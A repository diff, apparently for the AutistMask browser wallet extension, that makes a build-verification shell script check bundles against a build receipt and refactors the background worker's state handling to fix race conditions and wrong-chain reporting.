[ -z "$RECEIPT" ] || fail "--receipt given more than once."
|
||||||
|
[ -n "$1" ] || fail "--receipt was given an empty path."
|
||||||
|
# Resolved against the caller's directory, before main cd's to the repo
|
||||||
|
# root.
|
||||||
|
case "$1" in
|
||||||
|
/*) RECEIPT="$1" ;;
|
||||||
|
*) RECEIPT="$PWD/$1" ;;
|
||||||
|
esac
|
||||||
|
}
|
||||||
|
|
||||||
|
# --- main -------------------------------------------------------------------
|
||||||
|
|
||||||
|
main() {
|
||||||
|
# Internal re-entry from check_dist_tree's xargs. Not part of the
|
||||||
# command-line interface: nothing else invokes it, and it is a distinct
|
# command-line interface: nothing else invokes it, and it is a distinct
|
||||||
# entry point rather than a mode flag threaded through the checks below.
|
# entry point rather than a mode flag threaded through the checks below.
|
||||||
if [ "${1-}" = "$SCAN_FLAG" ]; then
|
if [ "${1-}" = "$SCAN_FLAG" ]; then
|
||||||
shift
|
shift
|
||||||
|
[ "$#" -ge 1 ] || fail "internal: $SCAN_FLAG needs the receipt path."
|
||||||
|
RECEIPT="$1"
|
||||||
|
shift
|
||||||
|
cd "$ROOT"
|
||||||
|
[ -r "$RECEIPT" ] ||
|
||||||
|
fail "$RECEIPT became unreadable during the run, so the dist/ tree
|
||||||
|
could not be checked against it. Refusing to report success."
|
||||||
scan_dist_paths "$@"
|
scan_dist_paths "$@"
|
||||||
return 0
|
return 0
|
||||||
fi
|
fi
|
||||||
|
|
||||||
expected="$(expected_marker)"
|
parse_args "$@"
|
||||||
echo "Verifying emitted bundles (expecting $expected)..."
|
|
||||||
|
[ -n "$EXPECT" ] || {
|
||||||
|
usage
|
||||||
|
fail "no --expect argument. The mode this build was supposed to produce
|
||||||
|
has to be stated by whoever ran the build; it is not a default and it is
|
||||||
|
not read from AUTISTMASK_DEBUG in this script's environment, because an
|
||||||
|
operator with that exported would then have their debug build verified as
|
||||||
|
the release one they asked for."
|
||||||
|
}
|
||||||
|
[ -n "$RECEIPT" ] || {
|
||||||
|
usage
|
||||||
|
fail "no --receipt argument. The list of files to check comes from the
|
||||||
|
build that just ran, not from dist/: without it, a hand-written dist/ would
|
||||||
|
be verifying itself. make build and make build-debug pass one."
|
||||||
|
}
|
||||||
|
|
||||||
|
pick_sha256
|
||||||
|
cd "$ROOT"
|
||||||
|
|
||||||
# Asserted here rather than left to grep. A symlinked dist/ used to fail
|
# Asserted here rather than left to grep. A symlinked dist/ used to fail
|
||||||
# only because GNU grep exits 2 on a directory, so check_unlisted_bundles'
|
# only because GNU grep exits 2 on a directory, so the tree walk hit
|
||||||
# single entry hit has_marker's I/O path by luck; under a grep that exits 1
|
# has_marker's I/O path by luck; under a grep that exits 1 instead, the
|
||||||
# instead, the whole cross-check would have collapsed into a pass.
|
# whole cross-check would have collapsed into a pass.
|
||||||
if [ -h dist ]; then
|
if [ -h dist ]; then
|
||||||
fail "dist is a symlink, not a directory. find does not follow a
|
fail "dist is a symlink, not a directory. find does not follow a
|
||||||
symlink named on its own command line, so the unlisted-bundle cross-check
|
symlink named on its own command line, so the tree walk would see one entry
|
||||||
would see one entry instead of the emitted tree and establish nothing about
|
instead of the emitted tree and establish nothing about it. Refusing to
|
||||||
it. Refusing to report success."
|
report success."
|
||||||
fi
|
fi
|
||||||
[ -d dist ] ||
|
[ -d dist ] ||
|
||||||
fail "dist is not a directory, so there is no emitted tree to verify.
|
fail "dist is not a directory, so there is no emitted tree to verify.
|
||||||
build.js writes it; run make build first."
|
build.js writes it; run make build first."
|
||||||
|
|
||||||
[ -f "$MANIFEST" ] ||
|
case "$RECEIPT" in
|
||||||
fail "$MANIFEST is missing. build.js writes it at the end of a
|
"$ROOT/dist" | "$ROOT/dist/"*)
|
||||||
successful build; run make build first."
|
fail "the receipt is inside dist/ ($RECEIPT). A receipt that lives in
|
||||||
[ -s "$MANIFEST" ] ||
|
the tree it describes is rewritten by whoever rewrites the tree, and vouches
|
||||||
fail "$MANIFEST is empty, so no emitted bundle was found to contain
|
for nothing. make build keeps it outside the repo."
|
||||||
src/shared/constants.js. That is never correct, so it is a failure and not
|
;;
|
||||||
a pass."
|
esac
|
||||||
[ -r "$MANIFEST" ] ||
|
|
||||||
fail "$MANIFEST is not readable, so nothing was inspected. That is a
|
[ -e "$RECEIPT" ] ||
|
||||||
|
fail "$RECEIPT is missing. build.js writes it at the end of a
|
||||||
|
successful build; run make build rather than invoking this directly."
|
||||||
|
[ -f "$RECEIPT" ] ||
|
||||||
|
fail "$RECEIPT is not a regular file, so it is not a build receipt."
|
||||||
|
[ -s "$RECEIPT" ] ||
|
||||||
|
fail "$RECEIPT is empty, so the build wrote nothing to it and there is
|
||||||
|
no account of what it emitted. build.js writes the receipt last, so an
|
||||||
|
empty one means the build did not finish."
|
||||||
|
[ -r "$RECEIPT" ] ||
|
||||||
|
fail "$RECEIPT is not readable, so nothing was inspected. That is a
|
||||||
permissions or I/O fault, not a pass."
|
permissions or I/O fault, not a pass."
|
||||||
|
|
||||||
count=0
|
echo "Verifying emitted files against the build receipt (expecting" \
|
||||||
while read -r file; do
|
"$EXPECT)..."
|
||||||
[ -n "$file" ] || continue
|
|
||||||
[ -f "$file" ] ||
|
|
||||||
fail "$MANIFEST lists $file, which does not exist."
|
|
||||||
[ -s "$file" ] ||
|
|
||||||
fail "$MANIFEST lists $file, which is empty. An empty bundle
|
|
||||||
carries no marker and proves nothing, so this is a failure and not a pass."
|
|
||||||
read_marker "$file"
|
|
||||||
[ "$MARKER" = "$expected" ] ||
|
|
||||||
fail "$file is $MARKER but this build expects $expected."
|
|
||||||
echo " ok: $file ($MARKER)"
|
|
||||||
count=$((count + 1))
|
|
||||||
done <"$MANIFEST"
|
|
||||||
|
|
||||||
[ "$count" -gt 0 ] || fail "no bundles were inspected."
|
# Order matters. The receipt has to be well-formed before it is used as an
|
||||||
|
# expectation, and the tree has to be walkable in full before any single
|
||||||
|
# file in it is pronounced on: a subtree that cannot be descended makes
|
||||||
|
# every file under it look absent, and "could not look" must never be
|
||||||
|
# reported as "was not there".
|
||||||
|
check_receipt_shape
|
||||||
|
check_dist_tree
|
||||||
|
check_receipt_entries
|
||||||
|
|
||||||
check_unlisted_bundles
|
echo "verify-build: $COUNT emitted file(s) verified against the receipt," \
|
||||||
|
"$AUDITED bundle(s) $EXPECT"
|
||||||
echo "verify-build: $count bundle(s) verified $expected"
|
|
||||||
}
|
}
|
||||||
|
|
||||||
main "$@"
|
main "$@"
|
||||||
|
|||||||
@@ -2,19 +2,21 @@
|
|||||||
// Handles EIP-1193 RPC requests from content scripts and proxies
|
// Handles EIP-1193 RPC requests from content scripts and proxies
|
||||||
// non-sensitive calls to the configured Ethereum JSON-RPC endpoint.
|
// non-sensitive calls to the configured Ethereum JSON-RPC endpoint.
|
||||||
|
|
||||||
const { DEFAULT_RPC_URL } = require("../shared/constants");
|
|
||||||
const {
|
const {
|
||||||
SUPPORTED_CHAIN_IDS,
|
SUPPORTED_CHAIN_IDS,
|
||||||
networkById,
|
networkById,
|
||||||
networkByChainId,
|
networkByChainId,
|
||||||
} = require("../shared/networks");
|
} = require("../shared/networks");
|
||||||
const { onChainSwitch } = require("../shared/chainSwitch");
|
const { applyChainSwitchFields } = require("../shared/chainSwitchFields");
|
||||||
const {
|
// The background's own storage layer. src/shared/state.js — the module-level
|
||||||
state,
|
// `state` singleton, loadState() and saveState() — is deliberately NOT
|
||||||
loadState,
|
// imported here and must never be: see the header of src/background/state.js.
|
||||||
saveState,
|
// The build enforces it, not review: build.js fails when esbuild's metafile
|
||||||
currentNetwork,
|
// reports that module as an input of this bundle (FORBIDDEN_INPUTS in
|
||||||
} = require("../shared/state");
|
// script/lib/forbiddenBundleInputs.js). The ESLint rule of the same name is
|
||||||
|
// the same prohibition reported early, not the guarantee.
|
||||||
|
const { getState, updateState } = require("./state");
|
||||||
|
const { StateUnusableError } = require("../shared/stateSchema");
|
||||||
const { refreshBalances, getProvider } = require("../shared/balances");
|
const { refreshBalances, getProvider } = require("../shared/balances");
|
||||||
const { debugFetch, log } = require("../shared/log");
|
const { debugFetch, log } = require("../shared/log");
|
||||||
const {
|
const {
|
||||||
@@ -42,7 +44,6 @@ const {
|
|||||||
const {
|
const {
|
||||||
actionApi,
|
actionApi,
|
||||||
runtimeApi,
|
runtimeApi,
|
||||||
storageGet,
|
|
||||||
tabsQuery,
|
tabsQuery,
|
||||||
tabsSendMessage,
|
tabsSendMessage,
|
||||||
windowsApi,
|
windowsApi,
|
||||||
@@ -179,21 +180,51 @@ const INTERNAL_ERROR_CODE = -32603;
|
|||||||
const INTERNAL_ERROR_MESSAGE =
|
const INTERNAL_ERROR_MESSAGE =
|
||||||
"AutistMask could not complete this request because of an internal error.";
|
"AutistMask could not complete this request because of an internal error.";
|
||||||
|
|
||||||
async function getState() {
|
// What the page is told when the wallet's own stored profile cannot be read.
|
||||||
const result = await storageGet("autistmask");
|
//
|
||||||
return (
|
// This used to be the generic answer above: getActiveAddress() dereferenced
|
||||||
result.autistmask || {
|
// the stored wallet list on nearly every method, so a corrupt or
|
||||||
wallets: [],
|
// newer-than-this-build record turned EVERY request from EVERY page into
|
||||||
rpcUrl: DEFAULT_RPC_URL,
|
// "internal error", which is also what a failed signing attempt answers. The
|
||||||
activeAddress: null,
|
// page cannot tell those apart, and the user is told nothing about the one
|
||||||
allowedSites: {},
|
// thing that is actually wrong or where to fix it
|
||||||
deniedSites: {},
|
// (https://git.eeqj.de/sneak/AutistMask/issues/311).
|
||||||
}
|
//
|
||||||
);
|
// Its own code rather than -32603, because the condition is specific,
|
||||||
|
// diagnosable and has a user action attached — none of which "internal error"
|
||||||
|
// conveys.
|
||||||
|
//
|
||||||
|
// -32007 specifically: EIP-1474 sets aside -32000..-32099 for
|
||||||
|
// implementation-defined server errors, but it ASSIGNS meanings to -32000
|
||||||
|
// through -32006 (Invalid input, Resource not found, Resource unavailable,
|
||||||
|
// Transaction rejected, Method not supported, Limit exceeded, JSON-RPC version
|
||||||
|
// not supported). -32007..-32099 are the unassigned ones, and this condition
|
||||||
|
// is not any of the seven. Nothing above it is free to be overloaded either:
|
||||||
|
// this wallet already answers EIP-1474's -32002 "Resource unavailable" for a
|
||||||
|
// pending approval, the conventional way, so a page is entitled to read these
|
||||||
|
// codes by that table.
|
||||||
|
const STATE_UNUSABLE_CODE = -32007;
|
||||||
|
const STATE_UNUSABLE_MESSAGE =
|
||||||
|
"AutistMask cannot read its saved data, so nothing was signed or sent." +
|
||||||
|
" Open the AutistMask extension to export or reset it.";
|
||||||
|
|
||||||
|
// The EIP-1193 error for a handler that threw, by cause. Everything that
|
||||||
|
// consults the profile goes through getState(), so this one mapping covers
|
||||||
|
// every method rather than each one having to know about the condition.
|
||||||
|
function failureError(err) {
|
||||||
|
if (err instanceof StateUnusableError) {
|
||||||
|
log.errorf("state is unusable:", err.problem);
|
||||||
|
return { code: STATE_UNUSABLE_CODE, message: STATE_UNUSABLE_MESSAGE };
|
||||||
|
}
|
||||||
|
return { code: INTERNAL_ERROR_CODE, message: INTERNAL_ERROR_MESSAGE };
|
||||||
}
|
}
|
||||||
|
|
||||||
async function getActiveAddress() {
|
// The active address of a profile snapshot. Pure, and taking the snapshot as
|
||||||
const s = await getState();
|
// an argument rather than reading storage itself: a handler that has already
|
||||||
|
// read state must not answer "which account is this" from a SECOND, later read
|
||||||
|
// — the two can disagree, and the checks that compare them would then be
|
||||||
|
// comparing two different moments.
|
||||||
|
function activeAddressOf(s) {
|
||||||
if (s.activeAddress) return s.activeAddress;
|
if (s.activeAddress) return s.activeAddress;
|
||||||
// Fall back to first address
|
// Fall back to first address
|
||||||
if (s.wallets.length > 0 && s.wallets[0].addresses.length > 0) {
|
if (s.wallets.length > 0 && s.wallets[0].addresses.length > 0) {
|
||||||
@@ -202,6 +233,11 @@ async function getActiveAddress() {
|
|||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// For the few call sites that need only the address and hold no snapshot.
|
||||||
|
async function getActiveAddress() {
|
||||||
|
return activeAddressOf(await getState());
|
||||||
|
}
|
||||||
|
|
||||||
// Whether a request names a signing address other than the active one. Such a
|
// Whether a request names a signing address other than the active one. Such a
|
||||||
// request is refused rather than quietly signed as whichever address happens
|
// request is refused rather than quietly signed as whichever address happens
|
||||||
// to be active: the page asked for account A and would otherwise be handed
|
// to be active: the page asked for account A and would otherwise be handed
|
||||||
@@ -210,9 +246,14 @@ function namesAnotherAddress(requested, activeAddress) {
|
|||||||
return !!requested && !sameAddress(requested, activeAddress);
|
return !!requested && !sameAddress(requested, activeAddress);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// The endpoint alone, for the one caller that needs nothing else. Anything
|
||||||
|
// that also needs the network the endpoint belongs to must take both from ONE
|
||||||
|
// snapshot — see handleSendTransaction() — because a chain switch moves them
|
||||||
|
// together and a provider built from two different reads can end up pointed at
|
||||||
|
// one chain and told it is on another
|
||||||
|
// (https://git.eeqj.de/sneak/AutistMask/issues/320).
|
||||||
async function getRpcUrl() {
|
async function getRpcUrl() {
|
||||||
const s = await getState();
|
return (await getState()).rpcUrl;
|
||||||
return s.rpcUrl || DEFAULT_RPC_URL;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function extractHostname(origin) {
|
function extractHostname(origin) {
|
||||||
@@ -553,10 +594,26 @@ runtime.onConnect.addListener((port) => {
|
|||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
// Record a remembered site decision under one address.
|
||||||
|
//
|
||||||
|
// A read-modify-write against storage, not a load-mutate-save of a shared
|
||||||
|
// singleton: the user takes seconds to answer the prompt, and everything else
|
||||||
|
// in the worker — a balance refresh in flight, another site's approval — has
|
||||||
|
// gone on running the whole time. Loading here used to replace the very
|
||||||
|
// objects that work was holding.
|
||||||
|
async function rememberSiteChoice(field, address, hostname) {
|
||||||
|
await updateState((s) => {
|
||||||
|
if (!s[field][address]) s[field][address] = [];
|
||||||
|
if (!s[field][address].includes(hostname)) {
|
||||||
|
s[field][address].push(hostname);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
// Handle connection requests (eth_requestAccounts, wallet_requestPermissions)
|
// Handle connection requests (eth_requestAccounts, wallet_requestPermissions)
|
||||||
async function handleConnectionRequest(origin) {
|
async function handleConnectionRequest(origin) {
|
||||||
const s = await getState();
|
const s = await getState();
|
||||||
const activeAddress = await getActiveAddress();
|
const activeAddress = activeAddressOf(s);
|
||||||
if (!activeAddress) {
|
if (!activeAddress) {
|
||||||
return { error: { message: "No accounts available" } };
|
return { error: { message: "No accounts available" } };
|
||||||
}
|
}
|
||||||
@@ -588,29 +645,14 @@ async function handleConnectionRequest(origin) {
|
|||||||
|
|
||||||
if (decision.approved) {
|
if (decision.approved) {
|
||||||
if (decision.remember) {
|
if (decision.remember) {
|
||||||
// Reload state to get latest, add to allowed, persist
|
await rememberSiteChoice("allowedSites", activeAddress, hostname);
|
||||||
await loadState();
|
|
||||||
if (!state.allowedSites[activeAddress]) {
|
|
||||||
state.allowedSites[activeAddress] = [];
|
|
||||||
}
|
|
||||||
if (!state.allowedSites[activeAddress].includes(hostname)) {
|
|
||||||
state.allowedSites[activeAddress].push(hostname);
|
|
||||||
}
|
|
||||||
await saveState();
|
|
||||||
} else {
|
} else {
|
||||||
connectedSites[origin + ":" + activeAddress] = true;
|
connectedSites[origin + ":" + activeAddress] = true;
|
||||||
}
|
}
|
||||||
return { result: [activeAddress] };
|
return { result: [activeAddress] };
|
||||||
} else {
|
} else {
|
||||||
if (decision.remember) {
|
if (decision.remember) {
|
||||||
await loadState();
|
await rememberSiteChoice("deniedSites", activeAddress, hostname);
|
||||||
if (!state.deniedSites[activeAddress]) {
|
|
||||||
state.deniedSites[activeAddress] = [];
|
|
||||||
}
|
|
||||||
if (!state.deniedSites[activeAddress].includes(hostname)) {
|
|
||||||
state.deniedSites[activeAddress].push(hostname);
|
|
||||||
}
|
|
||||||
await saveState();
|
|
||||||
}
|
}
|
||||||
return {
|
return {
|
||||||
error: {
|
error: {
|
||||||
@@ -654,7 +696,7 @@ async function handleRpc(method, params, origin) {
|
|||||||
|
|
||||||
if (method === "eth_accounts") {
|
if (method === "eth_accounts") {
|
||||||
const s = await getState();
|
const s = await getState();
|
||||||
const activeAddress = await getActiveAddress();
|
const activeAddress = activeAddressOf(s);
|
||||||
if (!activeAddress) return { result: [] };
|
if (!activeAddress) return { result: [] };
|
||||||
const hostname = extractHostname(origin);
|
const hostname = extractHostname(origin);
|
||||||
const allowed = s.allowedSites[activeAddress] || [];
|
const allowed = s.allowedSites[activeAddress] || [];
|
||||||
@@ -667,22 +709,11 @@ async function handleRpc(method, params, origin) {
|
|||||||
return { result: [] };
|
return { result: [] };
|
||||||
}
|
}
|
||||||
|
|
||||||
// Both answered from currentNetwork(), which reads the module-level state
|
// Both used to be answered from currentNetwork(), which reads the
|
||||||
// singleton, and nothing populates that at module scope. A worker revived
|
// module-level state singleton, and nothing populates that at module
|
||||||
// by the page's own message therefore held DEFAULT_STATE and told a page
|
// scope. A worker revived by the page's own message therefore held
|
||||||
// it was on mainnet while the user was on Sepolia
|
// DEFAULT_STATE and told a page it was on mainnet while the user was on
|
||||||
// (https://git.eeqj.de/sneak/AutistMask/issues/317).
|
// Sepolia (https://git.eeqj.de/sneak/AutistMask/issues/317).
|
||||||
//
|
|
||||||
// Answered from getState() rather than by loading the singleton. Any page
|
|
||||||
// reaches these two — neither is gated on a connection, and the injected
|
|
||||||
// provider sends eth_chainId on every page load — and loadState() replaces
|
|
||||||
// state.wallets wholesale, which would detach the address objects an
|
|
||||||
// in-flight backgroundRefresh() is mutating across its network round trip,
|
|
||||||
// so its saveState() would persist the pre-refresh balances while still
|
|
||||||
// stamping lastBalanceRefresh. getState() is the detached per-call storage
|
|
||||||
// read the other read handlers here already use.
|
|
||||||
// networkById(undefined) falls back to mainnet, matching the default for a
|
|
||||||
// profile with no stored networkId.
|
|
||||||
if (method === "eth_chainId" || method === "net_version") {
|
if (method === "eth_chainId" || method === "net_version") {
|
||||||
const s = await getState();
|
const s = await getState();
|
||||||
const net = networkById(s.networkId);
|
const net = networkById(s.networkId);
|
||||||
@@ -699,7 +730,7 @@ async function handleRpc(method, params, origin) {
|
|||||||
// not be able to do it. Ungated, any page could clear the
|
// not be able to do it. Ungated, any page could clear the
|
||||||
// [TESTNET] banner under a user who believed they were on Sepolia.
|
// [TESTNET] banner under a user who believed they were on Sepolia.
|
||||||
const s = await getState();
|
const s = await getState();
|
||||||
const activeAddress = await getActiveAddress();
|
const activeAddress = activeAddressOf(s);
|
||||||
const hostname = extractHostname(origin);
|
const hostname = extractHostname(origin);
|
||||||
const allowed = s.allowedSites[activeAddress] || [];
|
const allowed = s.allowedSites[activeAddress] || [];
|
||||||
if (
|
if (
|
||||||
@@ -709,24 +740,25 @@ async function handleRpc(method, params, origin) {
|
|||||||
return { error: { code: 4100, message: "Unauthorized" } };
|
return { error: { code: 4100, message: "Unauthorized" } };
|
||||||
}
|
}
|
||||||
|
|
||||||
// onChainSwitch() mutates the module-level state singleton and then
|
// The chain in force is read from the snapshot above, not from the
|
||||||
// saves every field of it, and currentNetwork() reads the same
|
// singleton: this worker may have been started by this very message,
|
||||||
// singleton. This worker may have been started by this very message:
|
// and the singleton would then be DEFAULT_STATE, so the same-chain
|
||||||
// nothing loads state at module scope, so without this the singleton
|
// check compared against mainnet whatever the user was on
|
||||||
// is DEFAULT_STATE, the same-chain check compares against the wrong
|
// (https://git.eeqj.de/sneak/AutistMask/issues/316).
|
||||||
// network, and the save writes empty wallets, empty allowedSites and
|
|
||||||
// the default endpoints over the user's stored profile
|
|
||||||
// (https://git.eeqj.de/sneak/AutistMask/issues/316). Same precedent
|
|
||||||
// as the transaction path below.
|
|
||||||
await loadState();
|
|
||||||
|
|
||||||
const chainId = params?.[0]?.chainId;
|
const chainId = params?.[0]?.chainId;
|
||||||
if (chainId === currentNetwork().chainId) {
|
if (chainId === networkById(s.networkId).chainId) {
|
||||||
return { result: null };
|
return { result: null };
|
||||||
}
|
}
|
||||||
if (SUPPORTED_CHAIN_IDS.has(chainId)) {
|
if (SUPPORTED_CHAIN_IDS.has(chainId)) {
|
||||||
const target = networkByChainId(chainId);
|
const target = networkByChainId(chainId);
|
||||||
await onChainSwitch(target.id);
|
// Read-modify-write against storage. The old path went through
|
||||||
|
// onChainSwitch(), which mutates the singleton and then persists
|
||||||
|
// every field of it — on an unloaded worker that wrote empty
|
||||||
|
// wallets, empty allowedSites and the default endpoints over the
|
||||||
|
// user's stored profile, encrypted secrets included.
|
||||||
|
await updateState((fresh) =>
|
||||||
|
applyChainSwitchFields(fresh, target.id),
|
||||||
|
);
|
||||||
broadcastChainChanged(target.chainId);
|
broadcastChainChanged(target.chainId);
|
||||||
return { result: null };
|
return { result: null };
|
||||||
}
|
}
|
||||||
@@ -773,7 +805,7 @@ async function handleRpc(method, params, origin) {
|
|||||||
|
|
||||||
if (method === "wallet_getPermissions") {
|
if (method === "wallet_getPermissions") {
|
||||||
const s = await getState();
|
const s = await getState();
|
||||||
const activeAddress = await getActiveAddress();
|
const activeAddress = activeAddressOf(s);
|
||||||
const hostname = extractHostname(origin);
|
const hostname = extractHostname(origin);
|
||||||
const allowed = s.allowedSites[activeAddress] || [];
|
const allowed = s.allowedSites[activeAddress] || [];
|
||||||
const isConnected =
|
const isConnected =
|
||||||
@@ -799,7 +831,7 @@ async function handleRpc(method, params, origin) {
|
|||||||
|
|
||||||
if (method === "personal_sign" || method === "eth_sign") {
|
if (method === "personal_sign" || method === "eth_sign") {
|
||||||
const s = await getState();
|
const s = await getState();
|
||||||
const activeAddress = await getActiveAddress();
|
const activeAddress = activeAddressOf(s);
|
||||||
if (!activeAddress)
|
if (!activeAddress)
|
||||||
return { error: { message: "No accounts available" } };
|
return { error: { message: "No accounts available" } };
|
||||||
|
|
||||||
@@ -848,7 +880,7 @@ async function handleRpc(method, params, origin) {
|
|||||||
|
|
||||||
if (method === "eth_signTypedData_v4" || method === "eth_signTypedData") {
|
if (method === "eth_signTypedData_v4" || method === "eth_signTypedData") {
|
||||||
const s = await getState();
|
const s = await getState();
|
||||||
const activeAddress = await getActiveAddress();
|
const activeAddress = activeAddressOf(s);
|
||||||
if (!activeAddress)
|
if (!activeAddress)
|
||||||
return { error: { message: "No accounts available" } };
|
return { error: { message: "No accounts available" } };
|
||||||
|
|
||||||
@@ -891,6 +923,11 @@ async function handleRpc(method, params, origin) {
|
|||||||
const result = await proxyRpc(method, params);
|
const result = await proxyRpc(method, params);
|
||||||
return { result };
|
return { result };
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
|
// A node that answered with an error is reported as itself. The
|
||||||
|
// wallet being unable to read its own profile is not that, and it
|
||||||
|
// must not be flattened into a message with no code: it goes back
|
||||||
|
// to the dispatcher, which has the one answer for it.
|
||||||
|
if (e instanceof StateUnusableError) throw e;
|
||||||
return { error: { message: e.message } };
|
return { error: { message: e.message } };
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -904,7 +941,7 @@ async function handleRpc(method, params, origin) {
|
|||||||
// page has its answer.
|
// page has its answer.
|
||||||
async function handleSendTransaction(params, origin) {
|
async function handleSendTransaction(params, origin) {
|
||||||
const s = await getState();
|
const s = await getState();
|
||||||
const activeAddress = await getActiveAddress();
|
const activeAddress = activeAddressOf(s);
|
||||||
if (!activeAddress) return { error: { message: "No accounts available" } };
|
if (!activeAddress) return { error: { message: "No accounts available" } };
|
||||||
|
|
||||||
const hostname = extractHostname(origin);
|
const hostname = extractHostname(origin);
|
||||||
@@ -948,10 +985,19 @@ async function handleSendTransaction(params, origin) {
|
|||||||
// user is shown is a complete one and is the same object the signed
|
// user is shown is a complete one and is the same object the signed
|
||||||
// artifact is checked against. A failure raises no approval at all and
|
// artifact is checked against. A failure raises no approval at all and
|
||||||
// is reported to the requesting page; see approvalTx.js.
|
// is reported to the requesting page; see approvalTx.js.
|
||||||
|
//
|
||||||
|
// The provider is built from ONE snapshot — the endpoint and the
|
||||||
|
// network name both come from `s`. It used to be
|
||||||
|
// getProvider(await getRpcUrl()) with no network name at all, so
|
||||||
|
// getProvider fell back to the unpopulated singleton's mainnet: the
|
||||||
|
// endpoint was the user's chain and the static hint was 0x1, ethers
|
||||||
|
// fixed chainId at 0x1, and the wallet's own verifySignedTx then
|
||||||
|
// refused every non-mainnet dApp send
|
||||||
|
// (https://git.eeqj.de/sneak/AutistMask/issues/320).
|
||||||
let approvedTx;
|
let approvedTx;
|
||||||
try {
|
try {
|
||||||
approvedTx = await prepareApprovalTx(
|
approvedTx = await prepareApprovalTx(
|
||||||
getProvider(await getRpcUrl()),
|
getProvider(s.rpcUrl, s.networkId),
|
||||||
activeAddress,
|
activeAddress,
|
||||||
txParams,
|
txParams,
|
||||||
);
|
);
|
||||||
@@ -1039,7 +1085,7 @@ async function broadcastAccountsChanged() {
|
|||||||
}
|
}
|
||||||
resetPopupUrl();
|
resetPopupUrl();
|
||||||
const s = await getState();
|
const s = await getState();
|
||||||
const activeAddress = await getActiveAddress();
|
const activeAddress = activeAddressOf(s);
|
||||||
const allowed = activeAddress ? s.allowedSites[activeAddress] || [] : [];
|
const allowed = activeAddress ? s.allowedSites[activeAddress] || [] : [];
|
||||||
let tabs;
|
let tabs;
|
||||||
try {
|
try {
|
||||||
@@ -1079,20 +1125,60 @@ async function broadcastAccountsChanged() {
|
|||||||
const BALANCE_REFRESH_PERIOD_MS = BALANCE_REFRESH_PERIOD_MINUTES * 60 * 1000;
|
const BALANCE_REFRESH_PERIOD_MS = BALANCE_REFRESH_PERIOD_MINUTES * 60 * 1000;
|
||||||
const RECENT_BALANCE_REFRESH_MS = Math.floor(BALANCE_REFRESH_PERIOD_MS / 2);
|
const RECENT_BALANCE_REFRESH_MS = Math.floor(BALANCE_REFRESH_PERIOD_MS / 2);
|
||||||
|
|
||||||
|
// The wallets this refresh works on are its OWN, and nothing else in the
|
||||||
|
// worker can reach them.
|
||||||
|
//
|
||||||
|
// refreshBalances() mutates address objects in place across a multi-second
|
||||||
|
// network round trip. It used to be handed the module-level singleton's
|
||||||
|
// wallets, which meant any concurrent handler that called loadState() replaced
|
||||||
|
// state.wallets underneath it: the refreshed balances landed on detached
|
||||||
|
// objects, and the save that followed persisted the PRE-refresh values while
|
||||||
|
// still stamping lastBalanceRefresh, suppressing the redo. Every point fix for
|
||||||
|
// the singleton added such a loadState(), so the next one would have done it
|
||||||
|
// again (https://git.eeqj.de/sneak/AutistMask/issues/324).
|
||||||
|
//
|
||||||
|
// So: read a snapshot, refresh a private copy of its wallets, then apply the
|
||||||
|
// balances that came back — by address, onto whatever storage holds NOW.
|
||||||
|
// Applying by address rather than writing the array back is what keeps a
|
||||||
|
// wallet or address added, renamed or deleted during the round trip.
|
||||||
async function backgroundRefresh() {
|
async function backgroundRefresh() {
|
||||||
await loadState();
|
const s = await getState();
|
||||||
const now = Date.now();
|
const now = Date.now();
|
||||||
if (now - (state.lastBalanceRefresh || 0) < RECENT_BALANCE_REFRESH_MS)
|
if (now - (s.lastBalanceRefresh || 0) < RECENT_BALANCE_REFRESH_MS) return;
|
||||||
return;
|
if (s.wallets.length === 0) return;
|
||||||
if (state.wallets.length === 0) return;
|
|
||||||
|
const wallets = s.wallets;
|
||||||
await refreshBalances(
|
await refreshBalances(
|
||||||
state.wallets,
|
wallets,
|
||||||
state.rpcUrl,
|
s.rpcUrl,
|
||||||
state.blockscoutUrl,
|
s.blockscoutUrl,
|
||||||
state.trackedTokens,
|
s.trackedTokens,
|
||||||
|
s.networkId,
|
||||||
);
|
);
|
||||||
state.lastBalanceRefresh = now;
|
|
||||||
await saveState();
|
const refreshed = new Map();
|
||||||
|
for (const wallet of wallets) {
|
||||||
|
for (const addr of wallet.addresses || []) {
|
||||||
|
refreshed.set(String(addr.address).toLowerCase(), addr);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
await updateState((fresh) => {
|
||||||
|
for (const wallet of fresh.wallets) {
|
||||||
|
for (const addr of wallet.addresses || []) {
|
||||||
|
const got = refreshed.get(String(addr.address).toLowerCase());
|
||||||
|
if (!got) continue;
|
||||||
|
// Only fields the refresh actually produced. refreshBalances()
|
||||||
|
// leaves a field untouched when its lookup failed, so an
|
||||||
|
// undefined here means "no answer", not "the answer is empty",
|
||||||
|
// and must not overwrite what is stored.
|
||||||
|
for (const key of ["balance", "ensName", "tokenBalances"]) {
|
||||||
|
if (got[key] !== undefined) addr[key] = got[key];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fresh.lastBalanceRefresh = now;
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
// The recurring job runs off an alarm, not a timer. On Chrome MV3 this file is
|
// The recurring job runs off an alarm, not a timer. On Chrome MV3 this file is
|
||||||
@@ -1101,7 +1187,14 @@ async function backgroundRefresh() {
|
|||||||
// module-level state does not outlive it. Alarms are held by the browser and
|
// module-level state does not outlive it. Alarms are held by the browser and
|
||||||
// wake the worker to deliver them.
|
// wake the worker to deliver them.
|
||||||
registerAlarmHandlers({
|
registerAlarmHandlers({
|
||||||
[BALANCE_REFRESH_ALARM]: backgroundRefresh,
|
// Caught here rather than left to the alarm dispatcher, which does not
|
||||||
|
// await what it calls: a profile this build cannot read makes every
|
||||||
|
// refresh throw, and an unhandled rejection per alarm tick says less than
|
||||||
|
// one logged line per tick does.
|
||||||
|
[BALANCE_REFRESH_ALARM]: () =>
|
||||||
|
backgroundRefresh().catch((e) => {
|
||||||
|
log.errorf("background balance refresh failed:", e);
|
||||||
|
}),
|
||||||
});
|
});
|
||||||
|
|
||||||
// Everything the background context needs re-established on start. This runs
|
